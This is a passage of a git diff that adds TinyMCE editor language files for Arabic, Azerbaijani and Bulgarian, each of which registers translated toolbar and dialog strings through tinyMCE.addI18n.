\u0645\u062a\u0623\u0643\u062f \u0623\u0646\u0643 \u062a\u0631\u064a\u062f \u0645\u0633\u062d \u0643\u0627\u0641\u0629 \u0645\u062d\u062a\u0648\u064a\u0627\u062a\u061f",path:"\u0645\u0633\u0627\u0631","clipboard_msg":"\u0646\u0633\u062e/\u0642\u0635/\u0644\u0635\u0642 \u063a\u064a\u0631 \u0645\u062a\u0648\u0627\u0641\u0631 \u0641\u064a \u0641\u064a\u0631 \u0641\u0648\u0643\u0633 \u062d\u0627\u0644\u064a\u0627 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u062a\u0639\u0631\u0641 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a\u061f","blockquote_desc":"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629","help_desc":"\u0645\u0633\u0627\u0639\u062f\u0647","newdocument_desc":"\u0645\u0633\u062a\u0646\u062f \u062c\u062f\u064a\u062f","image_props_desc":"\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0635\u0648\u0631\u0629","paste_desc":"\u0644\u0635\u0642","copy_desc":"\u0646\u0633\u062e","cut_desc":"\u0642\u0635","anchor_desc":"\u0625\u062f\u0631\u0627\u062c / \u062a\u062d\u0631\u064a\u0631 \u0645\u0631\u0633\u0627\u0629","visualaid_desc":"\u0627\u0644\u0645\u0628\u0627\u062f\u0626 \u0627\u0644\u062a\u0648\u062c\u064a\u0647\u064a\u0629 \u062a\u0628\u062f\u064a\u0644 / \u0639\u0646\u0627\u0635\u0631 \u063a\u064a\u0631 \u0645\u0631\u0626\u064a\u0629","charmap_desc":"\u0627\u062f\u062e\u0627\u0644 \u0631\u0645\u0632 \u062c\u062f\u064a\u062f","backcolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","forecolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u0646\u0635","custom1_desc":"\u0627\u062f\u062e\u0644 \u0627\u0644\u0648\u0635\u0641 \u0647\u0646","removeformat_desc":"\u0627\u0632\u0627\u0644\u0647 \u0627\u0644\u062a\u0646\u0633\u064a\u0642","hr_desc":"\u0627\u062f\u0631\u0627\u062c \u062e\u0637 \u0627\u0641\u0642\u0649","sup_desc":"\u0645\u0631\u062a\u0641\u0639","sub_desc":"\u0645\u0646\u062e\u0641\u0636","code_desc":"\u062a\u0639\u062f\u064a\u0644 \u0634\u0641\u0631\u0647 \u0627\u0644 \u0623\u062a\u0634 \u062a\u064a \u0623\u0645 \u0623\u0644","cleanup_desc":"\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0643\u0648\u062f","image_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062d\u0630\u0641 \u0635\u0648\u0631\u0647","unlink_desc":"\u062d\u0630\u0641 \u0627\u0644\u0631\u0627\u0628\u0637","link_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062a\u0639\u062f\u064a\u0644 \u0631\u0627\u0628\u0637","redo_desc":"\u0627\u0644\u0625\u0639\u0627\u062f\u0629 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0635)","undo_desc":"\u062a\u0631\u0627\u062c\u0639 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0649)","indent_desc":"\u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629","outdent_desc":"\u0625\u0646\u0642\u0627\u0635 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629 \u0642\u0628\u0644","numlist_desc":"\u0642\u0627\u0626\u0645\u0629 \u0645\u0631\u062a\u0628\u0629","bullist_desc":"\u0642\u0627\u0626\u0645\u0629 \u063a\u064a\u0631 \u0645\u0631\u062a\u0628\u0629","justifyfull_desc":"\u0645\u062d\u0627\u0630\u0627\u0647 \u0643\u0644\u064a\u0647","justifyright_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0645\u064a\u0646","justifycenter_desc":"\u062a\u0648\u0633\u064a\u0637 \u0648\u0633\u0637","justifyleft_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0633\u0627\u0631","striketrough_desc":"\u062a\u0648\u0633\u064a\u0637 \u062e\u0637","help_shortcut":"\u0627\u0636\u063a\u0637 ALT-F10 \u0644\u0634\u0631\u064a\u0637 \u0627\u0644\u0627\u062f\u0648\u0627\u062a. \u0627\u0636\u063a\u0637 ALT-0 \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0647","rich_text_area":"\u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u062a\u0639\u062f\u064a\u0644\u0627\u062a","shortcuts_desc":"Accessability Help",toolbar:"\u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ar_dlg.js b/js/tiny_mce/themes/advanced/langs/ar_dlg.js new file mode 100755 index 0000000..6cfc8ad --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advanced_dlg',{"link_list":"\u0642\u0627\u0626\u0645\u0647 \u0627\u0644\u0648\u0635\u0644\u0627\u062a","link_is_external":"\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a \u0623\u062f\u062e\u0644\u062a\u0647 \u064a\u0628\u062f\u0648 \u0631\u0627\u0628\u0637 \u062e\u0627\u0631\u062c\u064a \u060c \u0647\u0644 \u062a\u0631\u064a\u062f \u0625\u0636\u0627\u0641\u0629 \u0628\u0627\u062f\u0626\u0629 http:// \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629\u061f","link_is_email":"\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a \u0623\u062f\u062e\u0644\u062a\u0647 \u064a\u0628\u062f\u0648 \u0623\u0646 \u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0628\u0631\u064a\u062f \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u060c \u0647\u0644 \u062a\u0631\u064a\u062f \u0625\u0636\u0627\u0641\u0629 \u0645\u064a\u0644\u062a\u0648 \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629 :\u061f \u0628\u0627\u062f\u0626\u0629","link_titlefield":"\u0627\u0644\u0639\u0646\u0648\u0627\u0646","link_target_blank":"\u0641\u062a\u062d \u0627\u0644\u0631\u0627\u0628\u0637 \u0641\u0649 \u0646\u0627\u0641\u0630\u0647 \u062c\u062f\u064a\u062f\u0647","link_target_same":"\u0641\u062a\u062d \u0627\u0644\u0631\u0627\u0628\u0637 \u0641\u0649 \u0646\u0641\u0633 \u0627\u0644\u0646\u0627\u0641\u0630\u0647","link_target":"\u0627\u0644\u0647\u062f\u0641","link_url":"\u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u0648\u0635\u0644\u0647","link_title":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0648\u0635\u0644\u0647","image_align_right":"\u064a\u0645\u064a\u0646","image_align_left":"\u064a\u0633\u0627\u0631","image_align_textbottom":"\u0627\u0633\u0641\u0644 \u0627\u0644\u0646\u0635","image_align_texttop":"\u0627\u0644\u0646\u0635 \u0627\u0644\u0623\u0639\u0644\u0649","image_align_bottom":"\u0627\u0644\u0642\u0627\u0639","image_align_middle":"\u0627\u0644\u0623\u0648\u0633\u0637","image_align_top":"\u0627\u0644\u0623\u0639\u0644\u0649","image_align_baseline":"\u0627\u0644\u0623\u0633\u0627\u0633","image_align":"\u0645\u062d\u0627\u0630\u0627\u0629","image_hspace":"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0627\u0641\u0642\u064a\u0647","image_vspace":"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0639\u0645\u0648\u062f\u064a\u0647","image_dimensions":"\u0627\u0644\u0623\u0628\u0639\u0627\u062f","image_alt":"\u0648\u0635\u0641 \u0627\u0644\u0635\u0648\u0631\u0647","image_list":"\u0642\u0627\u0626\u0645\u0647 \u0627\u0644\u0635\u0648\u0631","image_border":"\u0627\u0644\u062d\u062f\u0648\u062f","image_src":"\u0631\u0627\u0628\u0637 \u0627\u0644\u0635\u0648\u0631\u0647","image_title":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0635\u0648\u0631\u0629","charmap_title":"\u0627\u062e\u062a\u064a\u0627\u0631 \u062d\u0631\u0641 \u0645\u062e\u0635\u0635","colorpicker_name":"\u0627\u0633\u0645:","colorpicker_color":"\u0627\u0644\u0644\u0648\u0646 :","colorpicker_named_title":"\u0627\u0644\u0623\u0644\u0648\u0627\u0646 \u0627\u0644\u0645\u0633\u0645\u0627\u0629","colorpicker_named_tab":"\u0627\u0644\u0645\u0633\u0645\u0627\u0629","colorpicker_palette_title":"\u0644\u0648\u062d \u0627\u0644\u0623\u0644\u0648\u0627\u0646","colorpicker_palette_tab":"\u0644\u0648\u062d","colorpicker_picker_title":"\u0643\u0627\u0634\u0641 \u0627\u0644\u0644\u0648\u0646","colorpicker_picker_tab":"\u0627\u0644\u0643\u0627\u0634\u0641","colorpicker_title":"\u0627\u062e\u062a\u0631 \u0627\u0644\u0644\u0648\u0646","code_wordwrap":"\u0627\u0644\u062a\u0641\u0627\u0641 \u0627\u0644\u0646\u0635","code_title":"\u062a\u0639\u062f\u064a\u0644 \u0627 \u0644\u0634\u064a\u0641\u0631\u0647 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0647","anchor_name":"\u0627\u0633\u0645 \u0627\u0644\u0645\u0631\u0633\u0627\u0647","anchor_title":"\u0625\u062f\u0631\u0627\u062c / \u062a\u062d\u0631\u064a\u0631 \u0645\u0631\u0633\u0627\u0629","about_loaded":"\u0627\u0644\u0627\u0636\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u062d\u0645\u0644\u0647","about_version":"\u0627\u0644\u0627\u0635\u062f\u0627\u0631","about_author":"\u0627\u0644\u0643\u0627\u062a\u0628","about_plugin":"\u0627\u0644\u0645\u0648\u0642\u0639","about_plugins":"\u0627\u0644\u0625\u0636\u0627\u0641\u0627\u062a","about_license":"\u0627\u0644\u062a\u0631\u062e\u064a\u0635","about_help":"\u0645\u0633\u0627\u0639\u062f\u0647","about_general":"\u0639\u0646","about_title":"\u0639\u0646 \u0627\u0644\u0645\u062d\u0631\u0631","charmap_usage":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0623\u0633\u0647\u0645 \u0627\u0644\u0623\u064a\u0645\u0646 \u0648\u0627\u0644\u0623\u064a\u0633\u0631 \u0644\u0644\u062a\u0646\u0642\u0644.","anchor_invalid":"\u0627\u0644\u0631\u062c\u0627\u0621 \u062a\u062d\u062f\u064a\u062f \u0625\u0633\u0645 \u064a\u0635\u0644\u062d \u0644\u0644\u0645\u0631\u0633\u0627\u0647","accessibility_help":"\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0648\u0635\u0648\u0644","accessibility_usage_title":"\u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0639\u0627\u0645","invalid_color_value":"\u0642\u064a\u0645\u0647 \u062e\u0637\u0623 \u0644\u0644\u0648\u0646"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/az.js b/js/tiny_mce/themes/advanced/langs/az.js new file mode 100755 index 0000000..1edbec2 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/az.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advanced',{"underline_desc":"Altdan x\u0259tt (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Yar\u0131qal\u0131n (Ctrl+B)",dd:"Terminin m\u00fc\u0259yy\u0259n edilm\u0259si",dt:"M\u00fc\u0259yy\u0259n edil\u0259n termin",samp:"Kod n\u00fcmun\u0259si",code:"Kod",blockquote:"Sitat bloku",h6:"Ba\u015fl\u0131q 6",h5:"Ba\u015fl\u0131q 5",h4:"Ba\u015fl\u0131q 4",h3:"Ba\u015fl\u0131q 3",h2:"Ba\u015fl\u0131q 2",h1:"Ba\u015fl\u0131q 1",pre:"Formatlanm\u0131\u015f m\u0259tn",address:"\u00dcnvan",div:"B\u00f6lm\u0259",paragraph:"Abzas",block:"Format",fontdefault:"\u015erift","font_size":"\u015erift \u00f6l\u00e7\u00fc\u015f\u00fc","style_select":"Still\u0259r","image_delta_width":"65","more_colors":"Daha \u00e7ox r\u0259ng","toolbar_focus":"Alt+Q - al\u0259t d\u00fcym\u0259l\u0259rin\u0259 ke\u00e7, Alt-Z - redaktoruna ke\u00e7, Alt-X - elementl\u0259r yoluna ke\u00e7",newdocument:"\u0130\u00e7ind\u0259kil\u0259ri tam t\u0259mizl\u0259m\u0259kd\u0259 \u0259minsiniz?",path:"Yol","clipboard_msg":"Kopyalama/\u018flav\u0259 et Mozilla v\u0259 Firefox-da i\u015fl\u0259mir.\nN\u0259 ba\u015f verdiyi haqda daha \u0259trafl\u0131 \u00f6yr\u0259nm\u0259k ist\u0259yirsiniz?","blockquote_desc":"Sitat bloku","help_desc":"K\u00f6m\u0259k","newdocument_desc":"Yeni s\u0259n\u0259d","image_props_desc":"\u015e\u0259kil x\u00fcsusiyy\u0259ti","paste_desc":"\u018flav\u0259 et","copy_desc":"Kopyala","cut_desc":"K\u0259s","anchor_desc":"L\u00f6vb\u0259r \u0259lav\u0259/redakt\u0259 et","visualaid_desc":"G\u00f6nd\u0259ril\u0259n/g\u00f6r\u00fcnm\u0259z elementl\u0259ri yand\u0131r/s\u00f6nd\u00fcr","charmap_desc":"X\u00fcsusi simvol \u0259lav\u0259 et","backcolor_desc":"Fonun r\u0259ngini se\u00e7","forecolor_desc":"M\u0259tnin r\u0259ngini se\u00e7","custom1_desc":"\u00d6z t\u0259svirinizi daxil edin","removeformat_desc":"Formatlaman\u0131 l\u0259\u011fv et","hr_desc":"\u00dcf\u00fcqi x\u0259tt \u0259lav\u0259 et","sup_desc":"Yuxar\u0131 indeks","sub_desc":"A\u015fa\u011f\u0131 indeks","code_desc":"HTML-m\u0259nb\u0259ni redakt\u0259 et","cleanup_desc":"\u018fyri kodu t\u0259mizl\u0259","image_desc":"\u018flav\u0259 et/\u015f\u0259kili redakt\u0259 et","unlink_desc":"Ke\u00e7idi sil","link_desc":"\u018flav\u0259 et/ke\u00e7idi redakt\u0259 et","redo_desc":"T\u0259krarla (Ctrl+Y)","undo_desc":"L\u0259\u011fv et (Ctrl+Z)","indent_desc":"Bo\u015f yeri b\u00f6y\u00fct","outdent_desc":"Bo\u015f yeri ki\u00e7ilt","numlist_desc":"N\u00f6mr\u0259l\u0259nmi\u015f siyah\u0131","bullist_desc":"Qeyd edilmi\u015f siyah\u0131","justifyfull_desc":"Enin\u0259 d\u00fczl\u0259ndir","justifyright_desc":"Sa\u011fdan d\u00fczl\u0259ndir","justifycenter_desc":"M\u0259rk\u0259z\u0259 d\u00fczl\u0259ndir","justifyleft_desc":"Soldan d\u00fczl\u0259ndir","striketrough_desc":"Qaralanm\u0131\u015f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/az_dlg.js b/js/tiny_mce/themes/advanced/langs/az_dlg.js new file mode 100755 index 0000000..de9a2f4 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advanced_dlg',{"link_list":"Ke\u00e7idl\u0259r siyah\u0131s\u0131","link_is_external":"Daxil edil\u0259n \u00fcnvan xarici ke\u00e7id\u0259 b\u0259nz\u0259yir. http:// prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?","link_is_email":"Daxil edil\u0259n \u00fcnvan e-po\u00e7ta b\u0259nz\u0259yir. mailto: prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?","link_titlefield":"Ad\u0131","link_target_blank":"Ke\u00e7idi yeni p\u0259nc\u0259r\u0259d\u0259 a\u00e7","link_target_same":"Ke\u00e7idi h\u0259min p\u0259nc\u0259r\u0259d\u0259 a\u00e7","link_target":"H\u0259d\u0259f","link_url":"Ke\u00e7id \u00fcnvan\u0131","link_title":"Ke\u00e7idi \u0259lav\u0259/redakt\u0259 et","image_align_right":"Sa\u011fa","image_align_left":"Sola","image_align_textbottom":"M\u0259tn a\u015fa\u011f\u0131s\u0131 \u00fczr\u0259","image_align_texttop":"M\u0259tn yuxar\u0131s\u0131 il\u0259","image_align_bottom":"A\u015fa\u011f\u0131 il\u0259","image_align_middle":"M\u0259rk\u0259z il\u0259","image_align_top":"Yuxar\u0131 il\u0259","image_align_baseline":"Bazis liniyas\u0131 \u00fczr\u0259","image_align":"Tarazla\u015fd\u0131r","image_hspace":"\u00dcf\u00fcqi f\u0259za","image_vspace":"\u015eaquli f\u0259za","image_dimensions":"\u00d6l\u00e7\u00fcl\u0259r","image_alt":"\u015e\u0259klin t\u0259sviri","image_list":"\u015e\u0259kil siyah\u0131s\u0131","image_border":"S\u0259rh\u0259d","image_src":"\u015e\u0259klin \u00fcnvan\u0131","image_title":"\u015e\u0259kli \u0259lav\u0259/redakt\u0259 et","charmap_title":"X\u00fcsusi simvol se\u00e7in","colorpicker_name":"Ad\u0131:","colorpicker_color":"R\u0259ng:","colorpicker_named_title":"Adland\u0131r\u0131lm\u0131\u015f r\u0259ngl\u0259r","colorpicker_named_tab":"Adland\u0131r\u0131lm\u0131\u015f","colorpicker_palette_title":"Palitra r\u0259ngl\u0259ri","colorpicker_palette_tab":"Palitra","colorpicker_picker_title":"R\u0259ng se\u00e7imi","colorpicker_picker_tab":"Se\u00e7im","colorpicker_title":"R\u0259ngi se\u00e7","code_wordwrap":"S\u00f6zl\u0259rin s\u0259tr\u0259 ke\u00e7idi","code_title":"HTML-m\u0259nb\u0259 redaktoru","anchor_name":"L\u00f6vb\u0259r ad\u0131","anchor_title":"L\u00f6bv\u0259r \u0259lav\u0259/redakt\u0259 et","about_loaded":"Y\u00fckl\u0259nil\u0259n plaginl\u0259r","about_version":"Versiya","about_author":"M\u00fc\u0259llif","about_plugin":"Plaginl\u0259r","about_plugins":"Plaginl\u0259r","about_license":"Lisenziya","about_help":"K\u00f6m\u0259k","about_general":"Proqram haqq\u0131nda","about_title":"TinyMCE haqda","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/bg.js b/js/tiny_mce/themes/advanced/langs/bg.js new file mode 100755 index 0000000..6587c73 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/bg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advanced',{"underline_desc":"\u041f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u041f\u043e\u043b\u0443\u0447\u0435\u0440 (Ctrl+B)",dd:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u0434\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f",dt:"\u0414\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f ",samp:"\u041f\u0440\u043e\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442",h6:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",h5:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",h4:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",h3:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",h2:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",h1:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",pre:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d",address:"\u0410\u0434\u0440\u0435\u0441",div:"Div",paragraph:"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430","style_select":"\u0421\u0442\u0438\u043b\u043e\u0432\u0435","anchor_delta_height":"","more_colors":"\u041e\u0449\u0435 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","toolbar_focus":"\u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0431\u0443\u0442\u043e\u043d\u0438\u0442\u0435 - Alt+Q, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 - Alt-Z, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u043f\u044a\u0442\u0435\u043a\u0430\u0442\u0430 \u043d\u0430 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438\u0442\u0435 - Alt-X",newdocument:"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0438\u0441\u043a\u0430\u0442\u0435 \u0434\u0430 \u0438\u0437\u0447\u0438\u0441\u0442\u0438\u0442\u0435 \u0446\u044f\u043b\u043e\u0442\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435?",path:"\u041f\u044a\u0442","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435/\u041e\u0442\u0440\u044f\u0437\u0432\u0430\u043d\u0435/\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0435 \u0435 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e \u043f\u043e\u0434 Mozilla \u0438 Firefox.\n\u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442","help_desc":"\u041f\u043e\u043c\u043e\u0449","newdocument_desc":"\u041d\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430","paste_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435","copy_desc":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435","cut_desc":"\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435","anchor_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u043e\u0442\u0432\u0430","visualaid_desc":"\u0412\u043a\u043b./\u0438\u0437\u043a\u043b. \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0438\u0442\u0435 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438","charmap_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0444\u043e\u043d\u0430","forecolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","custom1_desc":"\u0412\u0430\u0448\u0435\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u0443\u043a","removeformat_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e","hr_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043b\u0438\u043d\u0438\u044f","sup_desc":"\u0413\u043e\u0440\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","sub_desc":"\u0414\u043e\u043b\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","code_desc":"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 HTML","cleanup_desc":"\u0418\u0437\u0447\u0438\u0441\u0442\u0438 \u043a\u043e\u0434\u0430","image_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","unlink_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","redo_desc":"\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 (Ctrl+Y)","undo_desc":"\u041e\u0442\u043c\u044f\u043d\u0430 (Ctrl+Z)","indent_desc":"\u0423\u0432\u0435\u043b\u0438\u0447\u0430\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","outdent_desc":"\u041d\u0430\u043c\u0430\u043b\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","numlist_desc":"\u041d\u043e\u043c\u0435\u0440\u0430","bullist_desc":"\u0412\u043e\u0434\u0430\u0447\u0438","justifyfull_desc":"\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e","justifyright_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u0434\u044f\u0441\u043d\u043e","justifycenter_desc":"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e","justifyleft_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u043b\u044f\u0432\u043e","striketrough_desc":"\u0417\u0430\u0447\u0435\u0440\u0442\u0430\u043d","help_shortcut":"\u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-F10 \u0437\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438. \u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449","rich_text_area":"\u0417\u043e\u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0442\u0435\u043a\u0441\u0442","shortcuts_desc":"\u0417\u0430 \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e Help",toolbar:"\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/bg_dlg.js b/js/tiny_mce/themes/advanced/langs/bg_dlg.js new file mode 100755 index 0000000..43aa8db --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advanced_dlg',{"link_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u043b\u0438\u043d\u043a\u043e\u0432\u0435","link_is_external":"URL-\u0442\u043e \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 \u0432\u044a\u043d\u0448\u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 http:// \u043f\u0440\u0435\u0444\u0438\u043a\u0441?","link_is_email":"URL-\u0442\u043e \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 email \u0430\u0434\u0440\u0435\u0441, 